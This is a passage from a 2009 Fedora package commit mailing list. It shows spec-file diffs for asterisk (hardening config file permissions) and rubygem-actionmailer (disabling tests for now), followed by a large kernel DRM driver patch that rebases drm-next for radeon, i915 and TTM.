-%config(noreplace) %{_sysconfdir}/asterisk/cdr_odbc.conf
-%config(noreplace) %{_sysconfdir}/asterisk/func_odbc.conf
-%config(noreplace) %{_sysconfdir}/asterisk/res_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_adaptive_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/func_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_odbc.conf
 %{_libdir}/asterisk/modules/cdr_adaptive_odbc.so
 %{_libdir}/asterisk/modules/cdr_odbc.so
 %{_libdir}/asterisk/modules/func_odbc.so
@@ -929,18 +929,18 @@ fi
 
 %files oss
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/oss.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/oss.conf
 %{_libdir}/asterisk/modules/chan_oss.so
 
 %files portaudio
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/console.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/console.conf
 %{_libdir}/asterisk/modules/chan_console.so
 
 %files postgresql
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_pgsql.conf
-%config(noreplace) %{_sysconfdir}/asterisk/res_pgsql.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_pgsql.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_pgsql.conf
 %doc contrib/scripts/realtime_pgsql.sql
 %{_libdir}/asterisk/modules/cdr_pgsql.so
 %{_libdir}/asterisk/modules/res_config_pgsql.so
@@ -951,7 +951,7 @@ fi
 
 %files skinny
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/skinny.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/skinny.conf
 %{_libdir}/asterisk/modules/chan_skinny.so
 
 %files snmp
@@ -959,36 +959,36 @@ fi
 %doc doc/asterisk-mib.txt
 %doc doc/digium-mib.txt
 %doc doc/snmp.txt
-%config(noreplace) %{_sysconfdir}/asterisk/res_snmp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_snmp.conf
 %{_datadir}/snmp/mibs/ASTERISK-MIB.txt
 %{_datadir}/snmp/mibs/DIGIUM-MIB.txt
 %{_libdir}/asterisk/modules/res_snmp.so
 
 %files sqlite
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_sqlite3_custom.conf
-%config(noreplace) %{_sysconfdir}/asterisk/res_config_sqlite.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_sqlite3_custom.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_config_sqlite.conf
 %{_libdir}/asterisk/modules/cdr_sqlite3_custom.so
 
 %files tds
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_tds.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_tds.conf
 %{_libdir}/asterisk/modules/cdr_tds.so
 
 %files unistim
 %defattr(-,root,root,-)
 %doc doc/unistim.txt
-%config(noreplace) %{_sysconfdir}/asterisk/unistim.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/unistim.conf
 %{_libdir}/asterisk/modules/chan_unistim.so
 
 %files usbradio
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/usbradio.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/usbradio.conf
 %{_libdir}/asterisk/modules/chan_usbradio.so
 
 %files voicemail
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/voicemail.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/voicemail.conf
 %{_libdir}/asterisk/modules/func_vmcount.so
 
 %files voicemail-imap
@@ -1008,6 +1008,9 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Wed Oct  7 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.5.rc3
+- Change ownership and permissions on config files to protect them.
+
 * Tue Oct  6 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.4.rc3
 - Update to 1.6.2.0-rc3
 



From mtasaka at fedoraproject.org  Thu Oct  8 03:47:21 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Thu,  8 Oct 2009 03:47:21 +0000 (UTC)
Subject: rpms/rubygem-actionmailer/F-11 rubygem-actionmailer.spec,1.13,1.14
Message-ID: <20091008034721.61DE511C00E6@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/rubygem-actionmailer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4911

Modified Files:
	rubygem-actionmailer.spec 
Log Message:
Kill test for now


Index: rubygem-actionmailer.spec
===================================================================
RCS file: /cvs/extras/rpms/rubygem-actionmailer/F-11/rubygem-actionmailer.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- rubygem-actionmailer.spec	7 Oct 2009 22:36:50 -0000	1.13
+++ rubygem-actionmailer.spec	8 Oct 2009 03:47:21 -0000	1.14
@@ -17,9 +17,11 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Requires: rubygems
 Requires: rubygem(actionpack) = %{version}
 BuildRequires: rubygems
+%if 0
 BuildRequires(check): rubygem(rake)
 BuildRequires(check): rubygem(actionpack) = %{version}
 BuildRequires(check): rubygem(mocha)
+%endif
 BuildArch: noarch
 Provides: rubygem(%{gemname}) = %{version}
 
@@ -59,6 +61,7 @@ cp -a .%{gemdir}/* %{buildroot}%{gemdir}
 rm -rf %{buildroot}
 
 %check
+exit 0
 
 %files
 %defattr(-, root, root, -)
@@ -78,6 +81,7 @@ rm -rf %{buildroot}
 %changelog
 * Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-3
 - Bump epoch; rails is not updatable across versions (bz 520843)
+- Kill test for now
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.3-3
 - Force rebuild



From airlied at fedoraproject.org  Thu Oct  8 04:32:55 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Thu,  8 Oct 2009 04:32:55 +0000 (UTC)
Subject: rpms/kernel/F-12 drm-next-d4ac6a05.patch, NONE,
	1.1 drm-nouveau.patch, 
	1.61, 1.62 drm-vga-arb.patch, 1.8, 1.9 kernel.spec, 1.1849,
	1.1850 drm-next-4c57edba4.patch, 1.1, NONE
Message-ID: <20091008043255.62E7C11C00DB@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10357

Modified Files:
	drm-nouveau.patch drm-vga-arb.patch kernel.spec 
Added Files:
	drm-next-d4ac6a05.patch 
Removed Files:
	drm-next-4c57edba4.patch 
Log Message:
* Thu Oct 08 2009 Dave Airlie <airlied at redhat.com> 2.6.31.1-64
- rebase latest drm-next, fixes many s/r and r600 problems


drm-next-d4ac6a05.patch:
 b/drivers/gpu/drm/Kconfig                         |   18 
 b/drivers/gpu/drm/Makefile                        |    8 
 b/drivers/gpu/drm/drm_bufs.c                      |    4 
 b/drivers/gpu/drm/drm_cache.c                     |   46 
 b/drivers/gpu/drm/drm_crtc.c                      |   78 
 b/drivers/gpu/drm/drm_crtc_helper.c               |  307 
 b/drivers/gpu/drm/drm_drv.c                       |    4 
 b/drivers/gpu/drm/drm_edid.c                      |  536 
 b/drivers/gpu/drm/drm_encoder_slave.c             |  116 
 b/drivers/gpu/drm/drm_fb_helper.c                 | 1014 
 b/drivers/gpu/drm/drm_gem.c                       |   11 
 b/drivers/gpu/drm/drm_mm.c                        |   21 
 b/drivers/gpu/drm/drm_modes.c                     |  434 
 b/drivers/gpu/drm/drm_proc.c                      |   17 
 b/drivers/gpu/drm/drm_sysfs.c                     |   28 
 b/drivers/gpu/drm/i915/Makefile                   |    2 
 b/drivers/gpu/drm/i915/i915_debugfs.c             |  445 
 b/drivers/gpu/drm/i915/i915_dma.c                 |  100 
 b/drivers/gpu/drm/i915/i915_drv.c                 |    9 
 b/drivers/gpu/drm/i915/i915_drv.h                 |   62 
 b/drivers/gpu/drm/i915/i915_gem.c                 |   14 
 b/drivers/gpu/drm/i915/i915_gem_tiling.c          |   80 
 b/drivers/gpu/drm/i915/i915_irq.c                 |   21 
 b/drivers/gpu/drm/i915/i915_reg.h                 |  143 
 b/drivers/gpu/drm/i915/i915_suspend.c             |    4 
 b/drivers/gpu/drm/i915/intel_bios.c               |    8 
 b/drivers/gpu/drm/i915/intel_crt.c                |   28 
 b/drivers/gpu/drm/i915/intel_display.c            |  618 
 b/drivers/gpu/drm/i915/intel_drv.h                |    9 
 b/drivers/gpu/drm/i915/intel_fb.c                 |  748 
 b/drivers/gpu/drm/i915/intel_i2c.c                |    8 
 b/drivers/gpu/drm/i915/intel_lvds.c               |   22 
 b/drivers/gpu/drm/i915/intel_sdvo.c               |  331 
 b/drivers/gpu/drm/i915/intel_tv.c                 |   30 
 b/drivers/gpu/drm/mga/mga_dma.c                   |    4 
 b/drivers/gpu/drm/mga/mga_drv.h                   |    1 
 b/drivers/gpu/drm/mga/mga_warp.c                  |  180 
 b/drivers/gpu/drm/r128/r128_cce.c                 |  116 
 b/drivers/gpu/drm/r128/r128_drv.h                 |    8 
 b/drivers/gpu/drm/r128/r128_state.c               |   36 
 b/drivers/gpu/drm/radeon/.gitignore               |    3 
 b/drivers/gpu/drm/radeon/Kconfig                  |    1 
 b/drivers/gpu/drm/radeon/Makefile                 |   43 
 b/drivers/gpu/drm/radeon/atombios.h               |   11 
 b/drivers/gpu/drm/radeon/atombios_crtc.c          |  106 
 b/drivers/gpu/drm/radeon/avivod.h                 |   60 
 b/drivers/gpu/drm/radeon/mkregtable.c             |  720 
 b/drivers/gpu/drm/radeon/r100.c                   | 1711 +
 b/drivers/gpu/drm/radeon/r100_track.h             |  183 
 b/drivers/gpu/drm/radeon/r100d.h                  |  714 
 b/drivers/gpu/drm/radeon/r200.c                   |  454 
 b/drivers/gpu/drm/radeon/r300.c                   |  979 
 b/drivers/gpu/drm/radeon/r300d.h                  |  306 
 b/drivers/gpu/drm/radeon/r420.c                   |  305 
 b/drivers/gpu/drm/radeon/r420d.h                  |  249 
 b/drivers/gpu/drm/radeon/r500_reg.h               |    3 
 b/drivers/gpu/drm/radeon/r520.c                   |  281 
 b/drivers/gpu/drm/radeon/r520d.h                  |  187 
 b/drivers/gpu/drm/radeon/r600.c                   | 1817 +
 b/drivers/gpu/drm/radeon/r600_blit.c              |  846 
 b/drivers/gpu/drm/radeon/r600_blit_kms.c          |  806 
 b/drivers/gpu/drm/radeon/r600_blit_shaders.c      | 1072 +
 b/drivers/gpu/drm/radeon/r600_blit_shaders.h      |   14 
 b/drivers/gpu/drm/radeon/r600_cp.c                |  541 
 b/drivers/gpu/drm/radeon/r600_cs.c                |  783 
 b/drivers/gpu/drm/radeon/r600d.h                  |  662 
 b/drivers/gpu/drm/radeon/radeon.h                 |  438 
 b/drivers/gpu/drm/radeon/radeon_asic.h            |  351 
 b/drivers/gpu/drm/radeon/radeon_atombios.c        |  180 
 b/drivers/gpu/drm/radeon/radeon_bios.c            |   49 
 b/drivers/gpu/drm/radeon/radeon_clocks.c          |   18 
 b/drivers/gpu/drm/radeon/radeon_combios.c         |   58 
 b/drivers/gpu/drm/radeon/radeon_connectors.c      |  545 
 b/drivers/gpu/drm/radeon/radeon_cp.c              |  151 
 b/drivers/gpu/drm/radeon/radeon_cs.c              |  104 
 b/drivers/gpu/drm/radeon/radeon_device.c          |  303 
 b/drivers/gpu/drm/radeon/radeon_display.c         |  146 
 b/drivers/gpu/drm/radeon/radeon_drv.c             |   28 
 b/drivers/gpu/drm/radeon/radeon_drv.h             |  216 
 b/drivers/gpu/drm/radeon/radeon_encoders.c        |  143 
 b/drivers/gpu/drm/radeon/radeon_family.h          |   97 
 b/drivers/gpu/drm/radeon/radeon_fb.c              |  694 
 b/drivers/gpu/drm/radeon/radeon_fence.c           |   49 
 b/drivers/gpu/drm/radeon/radeon_gart.c            |    9 
 b/drivers/gpu/drm/radeon/radeon_ioc32.c           |   15 
 b/drivers/gpu/drm/radeon/radeon_irq.c             |   18 
 b/drivers/gpu/drm/radeon/radeon_irq_kms.c         |    7 
 b/drivers/gpu/drm/radeon/radeon_kms.c             |   74 
 b/drivers/gpu/drm/radeon/radeon_legacy_crtc.c     |   86 
 b/drivers/gpu/drm/radeon/radeon_legacy_encoders.c |  377 
 b/drivers/gpu/drm/radeon/radeon_legacy_tv.c       |  904 
 b/drivers/gpu/drm/radeon/radeon_mode.h            |   76 
 b/drivers/gpu/drm/radeon/radeon_object.c          |   27 
 b/drivers/gpu/drm/radeon/radeon_object.h          |    1 
 b/drivers/gpu/drm/radeon/radeon_reg.h             |   80 
 b/drivers/gpu/drm/radeon/radeon_ring.c            |  143 
 b/drivers/gpu/drm/radeon/radeon_state.c           |   23 
 b/drivers/gpu/drm/radeon/radeon_ttm.c             |   95 
 b/drivers/gpu/drm/radeon/reg_srcs/r100            |  105 
 b/drivers/gpu/drm/radeon/reg_srcs/r200            |  184 
 b/drivers/gpu/drm/radeon/reg_srcs/r300            |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rn50            |   30 
 b/drivers/gpu/drm/radeon/reg_srcs/rs600           |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rv515           |  486 
 b/drivers/gpu/drm/radeon/rs100d.h                 |   40 
 b/drivers/gpu/drm/radeon/rs400.c                  |  329 
 b/drivers/gpu/drm/radeon/rs400d.h                 |  160 
 b/drivers/gpu/drm/radeon/rs600.c                  |  591 
 b/drivers/gpu/drm/radeon/rs600d.h                 |  470 
 b/drivers/gpu/drm/radeon/rs690.c                  |  358 
 b/drivers/gpu/drm/radeon/rs690d.h                 |  307 
 b/drivers/gpu/drm/radeon/rv200d.h                 |   36 
 b/drivers/gpu/drm/radeon/rv250d.h                 |  123 
 b/drivers/gpu/drm/radeon/rv350d.h                 |   52 
 b/drivers/gpu/drm/radeon/rv515.c                  |  881 
 b/drivers/gpu/drm/radeon/rv515d.h                 |  603 
 b/drivers/gpu/drm/radeon/rv770.c                  | 1034 
 b/drivers/gpu/drm/radeon/rv770d.h                 |  341 
 b/drivers/gpu/drm/ttm/ttm_bo.c                    |  295 
 b/drivers/gpu/drm/ttm/ttm_bo_util.c               |    4 
 b/drivers/gpu/drm/ttm/ttm_global.c                |    6 
 b/drivers/gpu/drm/ttm/ttm_memory.c                |  508 
 b/drivers/gpu/drm/ttm/ttm_module.c                |   58 
 b/drivers/gpu/drm/ttm/ttm_tt.c                    |  104 
 b/drivers/video/fbmem.c                           |    2 
 b/firmware/Makefile                               |   16 
 b/firmware/WHENCE                                 |  121 
 b/firmware/matrox/g200_warp.H16                   |   28 
 b/firmware/matrox/g400_warp.H16                   |   44 
 b/firmware/r128/r128_cce.bin.ihex                 |  129 
 b/firmware/radeon/R100_cp.bin.ihex                |  130 
 b/firmware/radeon/R200_cp.bin.ihex                |  130 
 b/firmware/radeon/R300_cp.bin.ihex                |  130 
 b/firmware/radeon/R420_cp.bin.ihex                |  130 
 b/firmware/radeon/R520_cp.bin.ihex                |  130 
 b/firmware/radeon/R600_me.bin.ihex                | 1345 +
 b/firmware/radeon/R600_pfp.bin.ihex               |  145 
 b/firmware/radeon/RS600_cp.bin.ihex               |  130 
 b/firmware/radeon/RS690_cp.bin.ihex               |  130 
 b/firmware/radeon/RS780_me.bin.ihex               | 1345 +
 b/firmware/radeon/RS780_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV610_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV610_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV620_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV620_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV630_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV630_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV635_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV635_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV670_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV670_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV710_me.bin.ihex               |  341 
 b/firmware/radeon/RV710_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV730_me.bin.ihex               |  341 
 b/firmware/radeon/RV730_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV770_me.bin.ihex               |  341 
 b/firmware/radeon/RV770_pfp.bin.ihex              |  213 
 b/include/drm/drmP.h                              |   54 
 b/include/drm/drm_cache.h                         |   38 
 b/include/drm/drm_crtc.h                          |   28 
 b/include/drm/drm_crtc_helper.h                   |   10 
 b/include/drm/drm_encoder_slave.h                 |  162 
 b/include/drm/drm_fb_helper.h                     |  111 
 b/include/drm/drm_mm.h                            |    7 
 b/include/drm/drm_mode.h                          |   11 
 b/include/drm/drm_pciids.h                        |    4 
 b/include/drm/drm_sysfs.h                         |   12 
 b/include/drm/radeon_drm.h                        |   12 
 b/include/drm/ttm/ttm_bo_api.h                    |   13 
 b/include/drm/ttm/ttm_bo_driver.h                 |   94 
 b/include/drm/ttm/ttm_memory.h                    |   43 
 b/include/drm/ttm/ttm_module.h                    |    2 
 drivers/gpu/drm/i915/i915_gem_debugfs.c           |  396 
 drivers/gpu/drm/mga/mga_ucode.h                   |11645 ----------
 drivers/gpu/drm/radeon/r300.h                     |   36 
 drivers/gpu/drm/radeon/r600_microcode.h           |23297 ----------------------
 drivers/gpu/drm/radeon/radeon_microcode.h         | 1844 -
 drivers/gpu/drm/radeon/radeon_share.h             |   39 
 drivers/gpu/drm/radeon/rs690r.h                   |   99 
 drivers/gpu/drm/radeon/rs780.c                    |  102 
 drivers/gpu/drm/radeon/rv515r.h                   |  170 
 181 files changed, 40690 insertions(+), 43475 deletions(-)

--- NEW FILE drm-next-d4ac6a05.patch ---
diff --git a/drivers/gpu/drm/Kconfig b/drivers/gpu/drm/Kconfig
index 39b393d..e4d971c 100644
--- a/drivers/gpu/drm/Kconfig
+++ b/drivers/gpu/drm/Kconfig
@@ -18,6 +18,14 @@ menuconfig DRM
 	  details.  You should also select and configure AGP
 	  (/dev/agpgart) support.
 
+config DRM_KMS_HELPER
+	tristate
+	depends on DRM
+	select FB
+	select FRAMEBUFFER_CONSOLE if !EMBEDDED
+	help
+	  FB and CRTC helpers for KMS drivers.
+
 config DRM_TTM
 	tristate
 	depends on DRM
@@ -36,6 +44,7 @@ config DRM_TDFX
 config DRM_R128
 	tristate "ATI Rage 128"
 	depends on DRM && PCI
+	select FW_LOADER
 	help
 	  Choose this option if you have an ATI Rage 128 graphics card.  If M
 	  is selected, the module will be called r128.  AGP support for
@@ -47,8 +56,9 @@ config DRM_RADEON
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select FB
-	select FRAMEBUFFER_CONSOLE if !EMBEDDED
+	select FW_LOADER
+        select DRM_KMS_HELPER
+        select DRM_TTM
 	help
 	  Choose this option if you have an ATI Radeon graphics card.  There
 	  are both PCI and AGP versions.  You don't need to choose this to
@@ -82,11 +92,10 @@ config DRM_I830
 config DRM_I915
 	tristate "i915 driver"
 	depends on AGP_INTEL
+	select DRM_KMS_HELPER
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select FB
-	select FRAMEBUFFER_CONSOLE if !EMBEDDED
 	# i915 depends on ACPI_VIDEO when ACPI is enabled
 	# but for select to work, need to select ACPI_VIDEO's dependencies, ick
 	select VIDEO_OUTPUT_CONTROL if ACPI
@@ -116,6 +125,7 @@ endchoice
 config DRM_MGA
 	tristate "Matrox g200/g400"
 	depends on DRM
+	select FW_LOADER
 	help
 	  Choose this option if you have a Matrox G200, G400 or G450 graphics
 	  card.  If M is selected, the module will be called mga.  AGP
diff --git a/drivers/gpu/drm/Makefile b/drivers/gpu/drm/Makefile
index fe23f29..3c8827a 100644
--- a/drivers/gpu/drm/Makefile
+++ b/drivers/gpu/drm/Makefile
@@ -10,11 +10,15 @@ drm-y       :=	drm_auth.o drm_bufs.o drm_cache.o \
 		drm_lock.o drm_memory.o drm_proc.o drm_stub.o drm_vm.o \
 		drm_agpsupport.o drm_scatter.o ati_pcigart.o drm_pci.o \
 		drm_sysfs.o drm_hashtab.o drm_sman.o drm_mm.o \
-		drm_crtc.o drm_crtc_helper.o drm_modes.o drm_edid.o \
-		drm_info.o drm_debugfs.o
+		drm_crtc.o drm_modes.o drm_edid.o \
+		drm_info.o drm_debugfs.o drm_encoder_slave.o
 
 drm-$(CONFIG_COMPAT) += drm_ioc32.o
 
+drm_kms_helper-y := drm_fb_helper.o drm_crtc_helper.o
+
+obj-$(CONFIG_DRM_KMS_HELPER) += drm_kms_helper.o
+
 obj-$(CONFIG_DRM)	+= drm.o
 obj-$(CONFIG_DRM_TTM)	+= ttm/
 obj-$(CONFIG_DRM_TDFX)	+= tdfx/
diff --git a/drivers/gpu/drm/drm_bufs.c b/drivers/gpu/drm/drm_bufs.c
index 6246e3f..3d09e30 100644
--- a/drivers/gpu/drm/drm_bufs.c
+++ b/drivers/gpu/drm/drm_bufs.c
@@ -310,10 +310,10 @@ static int drm_addmap_core(struct drm_device * dev, resource_size_t offset,
 			  (unsigned long long)map->offset, map->size);
 
 		break;
+	}
 	case _DRM_GEM:
-		DRM_ERROR("tried to rmmap GEM object\n");
+		DRM_ERROR("tried to addmap GEM object\n");
 		break;
-	}
 	case _DRM_SCATTER_GATHER:
 		if (!dev->sg) {
 			kfree(map);
diff --git a/drivers/gpu/drm/drm_cache.c b/drivers/gpu/drm/drm_cache.c
index 0e994a0..0e3bd5b 100644
--- a/drivers/gpu/drm/drm_cache.c
+++ b/drivers/gpu/drm/drm_cache.c
@@ -45,6 +45,23 @@ drm_clflush_page(struct page *page)
 		clflush(page_virtual + i);
 	kunmap_atomic(page_virtual, KM_USER0);
 }
+
+static void drm_cache_flush_clflush(struct page *pages[],
+				    unsigned long num_pages)
+{
+	unsigned long i;
+
+	mb();
+	for (i = 0; i < num_pages; i++)
+		drm_clflush_page(*pages++);
+	mb();
+}
+
+static void
+drm_clflush_ipi_handler(void *null)
+{
+	wbinvd();
+}
 #endif
 
 void
@@ -53,17 +70,30 @@ drm_clflush_pages(struct page *pages[], unsigned long num_pages)
 
 #if defined(CONFIG_X86)
 	if (cpu_has_clflush) {
-		unsigned long i;
-
-		mb();
-		for (i = 0; i < num_pages; ++i)
-			drm_clflush_page(*pages++);
-		mb();
-
+		drm_cache_flush_clflush(pages, num_pages);
 		return;
 	}
 
-	wbinvd();
+	if (on_each_cpu(drm_clflush_ipi_handler, NULL, 1) != 0)
+		printk(KERN_ERR "Timed out waiting for cache flush.\n");
+
+#elif defined(__powerpc__)
+	unsigned long i;
+	for (i = 0; i < num_pages; i++) {
+		struct page *page = pages[i];
+		void *page_virtual;
+
+		if (unlikely(page == NULL))
+			continue;
+
+		page_virtual = kmap_atomic(page, KM_USER0);
+		flush_dcache_range((unsigned long)page_virtual,
+				   (unsigned long)page_virtual + PAGE_SIZE);
+		kunmap_atomic(page_virtual, KM_USER0);
+	}
+#else
+	printk(KERN_ERR "Architecture has no drm_cache.c support\n");
+	WARN_ON_ONCE(1);
 #endif
 }
 EXPORT_SYMBOL(drm_clflush_pages);
diff --git a/drivers/gpu/drm/drm_crtc.c b/drivers/gpu/drm/drm_crtc.c
index 2f631c7..5cae0b3 100644
--- a/drivers/gpu/drm/drm_crtc.c
+++ b/drivers/gpu/drm/drm_crtc.c
@@ -68,10 +68,10 @@ DRM_ENUM_NAME_FN(drm_get_dpms_name, drm_dpms_enum_list)
  */
 static struct drm_prop_enum_list drm_scaling_mode_enum_list[] =
 {
-	{ DRM_MODE_SCALE_NON_GPU, "Non-GPU" },
-	{ DRM_MODE_SCALE_FULLSCREEN, "Fullscreen" },
-	{ DRM_MODE_SCALE_NO_SCALE, "No scale" },
-	{ DRM_MODE_SCALE_ASPECT, "Aspect" },
+	{ DRM_MODE_SCALE_NONE, "None" },
+	{ DRM_MODE_SCALE_FULLSCREEN, "Full" },
+	{ DRM_MODE_SCALE_CENTER, "Center" },
+	{ DRM_MODE_SCALE_ASPECT, "Full aspect" },
 };
 
 static struct drm_prop_enum_list drm_dithering_mode_enum_list[] =
@@ -108,6 +108,7 @@ static struct drm_prop_enum_list drm_tv_select_enum_list[] =
 	{ DRM_MODE_SUBCONNECTOR_Composite, "Composite" }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_SVIDEO,    "SVIDEO"    }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_Component, "Component" }, /* TV-out */
+	{ DRM_MODE_SUBCONNECTOR_SCART,     "SCART"     }, /* TV-out */
 };
 
 DRM_ENUM_NAME_FN(drm_get_tv_select_name, drm_tv_select_enum_list)
@@ -118,6 +119,7 @@ static struct drm_prop_enum_list drm_tv_subconnector_enum_list[] =
 	{ DRM_MODE_SUBCONNECTOR_Composite, "Composite" }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_SVIDEO,    "SVIDEO"    }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_Component, "Component" }, /* TV-out */
+	{ DRM_MODE_SUBCONNECTOR_SCART,     "SCART"     }, /* TV-out */
 };
[...92057 lines suppressed...]
+ */
+
+struct ttm_bo_global {
+
+	/**
+	 * Constant after init.
+	 */
+
+	struct kobject kobj;
+	struct ttm_mem_global *mem_glob;
+	struct page *dummy_read_page;
+	struct ttm_mem_shrink shrink;
+	size_t ttm_bo_extra_size;
+	size_t ttm_bo_size;
+	struct mutex device_list_mutex;
+	spinlock_t lru_lock;
+
+	/**
+	 * Protected by device_list_mutex.
+	 */
+	struct list_head device_list;
+
+	/**
+	 * Protected by the lru_lock.
+	 */
+	struct list_head swap_lru;
+
+	/**
+	 * Internal protection.
+	 */
+	atomic_t bo_count;
+};
+
+
+#define TTM_NUM_MEM_TYPES 8
+
+#define TTM_BO_PRIV_FLAG_MOVING  0	/* Buffer object is moving and needs
+					   idling before CPU mapping */
+#define TTM_BO_PRIV_FLAG_MAX 1
+/**
+ * struct ttm_bo_device - Buffer object driver device-specific data.
+ *
+ * @driver: Pointer to a struct ttm_bo_driver struct setup by the driver.
  * @man: An array of mem_type_managers.
  * @addr_space_mm: Range manager for the device address space.
  * lru_lock: Spinlock that protects the buffer+device lru lists and
@@ -399,32 +449,21 @@ struct ttm_bo_device {
 	/*
 	 * Constant after bo device init / atomic.
 	 */
-
-	struct ttm_mem_global *mem_glob;
+	struct list_head device_list;
+	struct ttm_bo_global *glob;
 	struct ttm_bo_driver *driver;
-	struct page *dummy_read_page;
-	struct ttm_mem_shrink shrink;
-
-	size_t ttm_bo_extra_size;
-	size_t ttm_bo_size;
-
 	rwlock_t vm_lock;
+	struct ttm_mem_type_manager man[TTM_NUM_MEM_TYPES];
 	/*
 	 * Protected by the vm lock.
 	 */
-	struct ttm_mem_type_manager man[TTM_NUM_MEM_TYPES];
 	struct rb_root addr_space_rb;
 	struct drm_mm addr_space_mm;
 
 	/*
-	 * Might want to change this to one lock per manager.
-	 */
-	spinlock_t lru_lock;
-	/*
-	 * Protected by the lru lock.
+	 * Protected by the global:lru lock.
 	 */
 	struct list_head ddestroy;
-	struct list_head swap_lru;
 
 	/*
 	 * Protected by load / firstopen / lastclose /unload sync.
@@ -640,6 +679,9 @@ extern int ttm_bo_pci_offset(struct ttm_bo_device *bdev,
 			     unsigned long *bus_offset,
 			     unsigned long *bus_size);
 
+extern void ttm_bo_global_release(struct ttm_global_reference *ref);
+extern int ttm_bo_global_init(struct ttm_global_reference *ref);
+
 extern int ttm_bo_device_release(struct ttm_bo_device *bdev);
 
 /**
@@ -657,7 +699,7 @@ extern int ttm_bo_device_release(struct ttm_bo_device *bdev);
  * !0: Failure.
  */
 extern int ttm_bo_device_init(struct ttm_bo_device *bdev,
-			      struct ttm_mem_global *mem_glob,
+			      struct ttm_bo_global *glob,
 			      struct ttm_bo_driver *driver,
 			      uint64_t file_page_offset, bool need_dma32);
 
diff --git a/include/drm/ttm/ttm_memory.h b/include/drm/ttm/ttm_memory.h
index d8b8f04..6983a7c 100644
--- a/include/drm/ttm/ttm_memory.h
+++ b/include/drm/ttm/ttm_memory.h
@@ -32,6 +32,7 @@
 #include <linux/spinlock.h>
 #include <linux/wait.h>
 #include <linux/errno.h>
+#include <linux/kobject.h>
 
 /**
  * struct ttm_mem_shrink - callback to shrink TTM memory usage.
@@ -60,34 +61,33 @@ struct ttm_mem_shrink {
  * @queue: Wait queue for processes suspended waiting for memory.
  * @lock: Lock to protect the @shrink - and the memory accounting members,
  * that is, essentially the whole structure with some exceptions.
- * @emer_memory: Lowmem memory limit available for root.
- * @max_memory: Lowmem memory limit available for non-root.
- * @swap_limit: Lowmem memory limit where the shrink workqueue kicks in.
- * @used_memory: Currently used lowmem memory.
- * @used_total_memory: Currently used total (lowmem + highmem) memory.
- * @total_memory_swap_limit: Total memory limit where the shrink workqueue
- * kicks in.
